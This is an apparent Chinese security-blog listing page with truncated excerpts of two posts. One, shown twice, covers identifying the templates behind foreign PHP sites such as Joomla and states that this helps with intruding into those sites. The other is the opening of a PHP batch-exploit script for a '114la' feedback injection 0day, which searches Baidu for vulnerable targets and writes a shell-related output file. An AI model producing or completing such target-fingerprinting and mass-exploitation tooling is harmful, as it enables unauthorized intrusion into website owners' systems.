国外流行PHP程序的识别方法
在国外PHP网站一片繁荣，不少网站是用模板程序直接改造的。 如果能快速找出这些模板程序出自哪里，对症下药，对于入侵这些网站来说实为一大助力。 网站类: Joomla 1. 首页源码中有 2. URL一般只有目录，当然也有HTML的，但是没有ID类型的 如joomla-extensions/fade-gallery/#comment-344 3. 发评论的时候，界面都......
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
国外流行PHP程序的识别方法
在国外PHP网站一片繁荣，不少网站是用模板程序直接改造的。 如果能快速找出这些模板程序出自哪里，对症下药，对于入侵这些网站来说实为一大助力。 网站类: Joomla 1. 首页源码中有 2. URL一般只有目录，当然也有HTML的，但是没有ID类型的 如joomla-extensions/fade-gallery/#comment-344 3. 发评论的时候，界面都......
阅读全文 →114啦注入0day批量
by 落叶 <?php error_reporting(E_ERROR); $print=” —————————————– - 114la feedback injection Vul Exploit - - By xZL - - Team: www.0kee.com - - 2011.04.02 - —————————————– - by cfking@90sec.org - —————————————– “; print_r($print); $keyword = ‘网站提交 inurl:/url-submit/’;//百度搜索关键字 print_r (” [-] keyword : $keyword “); $fp = @fopen(“c:\shell......
阅读全文 →